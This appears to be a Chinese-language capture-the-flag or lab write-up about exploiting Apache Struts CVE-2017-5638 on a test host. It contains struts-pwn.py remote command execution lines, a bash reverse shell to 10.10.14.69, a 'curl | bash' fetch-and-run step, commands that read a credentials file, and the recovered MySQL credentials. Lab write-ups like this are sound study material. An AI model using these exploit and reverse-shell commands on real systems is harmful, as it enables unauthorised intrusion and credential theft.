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# Apache Struts
Apache Struts CVE-2017-5638 RCE 利用、命令执行、反向 Shell 尝试和凭据提取笔记。
## Apache Struts 漏洞利用（CVE-2017-5638）
#### **监控目录枚举**
在注册过程中，应用程序返回错误。该 `.action` 扩展表明这是一个 Apache Struts 应用程序。
{% embed url="" %}
使用 `struts-pwn.py` 以测试远程命令执行：
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```
该命令有效，确认了该漏洞。
#### **反向 Shell**
1. 设置一个 Netcat 监听器：
```bash
nc -nvlp 443
```
2. 创建一个 `index.html` 包含反向 Shell 的文件：
```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```
3. 使用 Python Web 服务器托管该文件：
```
python3 -m http.server 8080
```
4. 通过利用漏洞执行反向 Shell：
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```
{% endcode %}
遗憾的是，这种方法失败了。
### **敏感信息提取**
列出服务器上的文件：
该 `db_connect` 文件包含凭据：
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```
{% endcode %}
恢复的 MySQL 凭据：
{% code overflow="wrap" %}
```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```
{% endcode %}
* 用户：ssn/\_admin / admin
* 密码=AWs64\@on/\*& / admin
### 信息提取 - mysqlshow
---
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